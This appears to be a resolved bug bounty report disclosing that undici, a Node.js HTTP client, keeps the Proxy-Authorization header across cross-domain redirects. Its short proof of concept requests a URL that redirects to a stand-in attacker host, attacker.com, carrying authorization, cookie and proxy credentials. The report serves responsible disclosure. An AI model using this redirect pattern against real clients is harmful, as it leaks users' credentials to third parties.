Proxy-Authorization header is not cleared in cross-domain redirect in undici
Low
N
Node.js
Submitted None
Actions:
Reported by
timon8
Vulnerability Details
Technical details and impact analysis
## Steps To Reproduce:
I read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g.
It only clears authorization and cookie header during cross-domain redirect .
{F3024496}
As such this may lead to accidental leakage of "Proxy-Authorization" to a 3rd-party site.
```nodejs
import { request } from 'undici'
const {
statusCode,
headers,
body
} = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
maxRedirections: 3,
headers: {
"autHorization": 'tes123t',
"coOkie": "ddd=dddd",
"X-CSRF-Token": 't5k3zni6fbdqbnce58zbkh7c4o',
'Proxy-Authorization':'xxxxxxxx'
}})
console.log('response received', statusCode)
console.log('headers', headers)
for await (const data of body) {
console.log('data', data)
}
```
{F3024501}
You can refer to this python code.
https://github.com/psf/requests/blob/main/src/requests/sessions.py#L318
References
https://github.com/psf/requests/issues/1885
https://fetch.spec.whatwg.org/#authentication-entries
## Impact
undici v6.5.0
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Information Disclosure